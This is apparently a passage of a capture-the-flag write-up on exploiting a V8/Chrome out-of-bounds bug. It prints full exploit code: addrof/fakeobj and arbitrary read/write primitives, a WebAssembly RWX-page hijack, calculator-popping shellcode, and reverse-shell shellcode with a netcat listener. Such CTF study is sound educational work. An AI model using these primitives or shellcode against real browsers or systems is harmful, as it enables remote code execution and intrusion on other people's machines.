    // write to address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}

// exploit
// leaks
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16));

let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[+] Map Region Start: 0x" + map_reg_start.toString(16));

let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));

let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));

let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));

// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;

console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");

Unfortunately, as Faith recognised in their article, when running the exploit on the Chrome binary itself (the actual browser provided with the challenge!) the __free_hook route does not work. It's likely due to a different memory layout as a result of different processes running, so the leaks are not the same and the offsets are broken. Debugging would be nice, but it's very hard with the given binary. Instead we can use another classic approach and abuse WebAssembly to create a RWX page for our shellcode.

Abusing WebAssembly

This approach is even better because it will (theoretically) work on any operating system, not be reliant on the presence of libc and __free_hook as it allows us to run our own shellcode. I'm gonna save this in exploit2.js.

If we create a function in WebAssembly, it will create a RWX page that we can leak. The WASM code itself is not important, we only care about the RWX page. To that effect I'll use the WASM used by Faith, because the website wasmfiddle has been closed down and I cannot for the life of me find an alternative. Let me know if you do.

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

We can see that this creates an RWX page:

gef➤  vmmap
[...]
0x000035d2131ff000 0x000035d21b141000 0x0000000000000000 --- 
0x0000396a8d0b5000 0x0000396a8d0b6000 0x0000000000000000 rwx 
0x0000396a8d0b6000 0x0000396acd0b5000 0x0000000000000000 ---
[...]

If we leak the addresses of wasm_mod, wasm_instance and f, none of them are actually located in the RWX page, so we can't simply addrof() and apply a constant offest. Instead, we're gonna comb memory for all references to the RWX page. The WASM objects likely need a reference to it of sorts, so it's possible a pointer is stored near in memory.

console.log("[+] WASM Mod at 0x" + addrof(wasm_mod).toString(16));
console.log("[+] WASM Instance at 0x" + addrof(wasm_instance).toString(16));
console.log("[+] F at 0x" + addrof(f).toString(16));
gef➤  run --allow-natives-syntax --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x22322b10f919
[+] WASM Mod at 0x22322b10fcc9
[+] WASM Instance at 0x45c390e13a1
[+] F at 0x45c390e1599
V8 version 7.5.0 (candidate)
d8> ^C
gef➤  vmmap
[...]
0x0000311254159000 0x000031125415a000 0x0000000000000000 rwx
[...]
gef➤  search-pattern 0x0000311254159000
[+] Searching '\x00\x90\x15\x54\x12\x31\x00\x00' in memory
[+] In (0x45c390c0000-0x45c39100000), permission=rw-
  0x45c390e1428 - 0x45c390e1448"\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
[+] In '[heap]'(0x5555562f9000-0x5555563c6000), permission=rw-
  0x5555563a1e38 - 0x5555563a1e58"\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563acfe0 - 0x5555563ad000"\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563ad000 - 0x5555563ad020"\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563ad120 - 0x5555563ad140"\x00\x90\x15\x54\x12\x31\x00\x00[...]"

The last four are in the heap, so unlikely, but the first instance is near to the wasm_instance and f. The offset between wasm_instance and that offset appears to be 0x87. In reality it is 0x88 (remember pointer tagging!), but that works for us.

let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));

It spits out the right base, which is great. Now we just want to get shellcode for popping calculator as well as a method for copying the shellcode there. I'm gonna just (once again) shamelessly nab Faith's implementations for that, which are fairly self-explanatory.

function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 bytes can be written to where we want
    // this is similar to the arb_write() function
    // but we have to redo it because we want to write way more than 8 bytes
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

And then we just copy it over and pop a calculator:

console.log("[+] Copying Shellcode...");

copy_shellcode(rwx_base, shellcode);

console.log("[+] Running Shellcode...");

f();

Running this under GDB causes it to crash for me, but running it in bash works fine:

$ ./d8 --shell exploit2.js 
[+] Address of Arbitrary RW Array: 0x19b85504fea1
[+] WASM Instance at 0x189e40ca1761
[+] RWX Region located at 0x29686af10000
[+] Copying Shellcode...
[+] Running Shellcode...
Warning: Cannot convert string "-adobe-symbol-*-*-*-*-*-120-*-*-*-*-*-*" to type FontStruct

With a calculator popped!

Full Exploit
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // write to address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}

// wasm exploit
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

console.log("[+] WASM Instance at 0x" + (addrof(wasm_instance)).toString(16));

// leak RWX base
let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc)
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));

// shellcode time
function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 can be written to where we want
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

// pop it
console.log("[+] Copying Shellcode...");

copy_shellcode(rwx_base, shellcode);

console.log("[+] Running Shellcode...");

f();

Popping it on Chrome

Create an index.html with the following code:

<html>
  <head>
    <script src="exploit2.js"></script>
  </head>
</html>

Make sure exploit2.js is in the same folder. Then load the index.html with the version of Chrome bundled in the challenge:

$ ./chrome --no-sandbox ../../index.html

And it pops calculator! You can also place it in another folder and use python's SimpleHTTPServer to serve it and connect that way - it works either way.

Getting a Reverse Shell instead

Well, we are hackers, we like the idea of a reverse shell, no? Plus it makes you feel way cooler to be able to do that.

Grabbing the reverse shell code from here and modifying it slightly to change it to loopback to 127.0.0.1:

var shellcode = ['0x6a58296a', '0x016a5f02', '0x050f995e', '0x68525f50', '0x0100007f', '0x5c116866', '0x6a026a66', '0x5e54582a', '0x0f5a106a', '0x5e026a05', '0x0f58216a', '0xceff4805', '0x016af679', '0x50b94958', '0x77737361', '0x41203a64', '0x6a5e5451', '0x050f5a08', '0x48c03148', '0x0f08c683', '0x31b84805', '0x35343332', '0x56383736', '0x75af485f', '0x583b6a1a', '0xbb485299', '0x6e69622f', '0x68732f2f', '0x525f5453', '0x54575a54', '0x90050f5e']

Listening with nc -nvlp 4444, we get the prompt for a password, which is 12345678. Input that, and bingo! It even works on the Chrome instance!

Final Thoughts

First off, give Faith a follow, they deserve it.

Secondly, WASM makes no sense to me, but oh well. Sounds like a security nightmare.

Last updated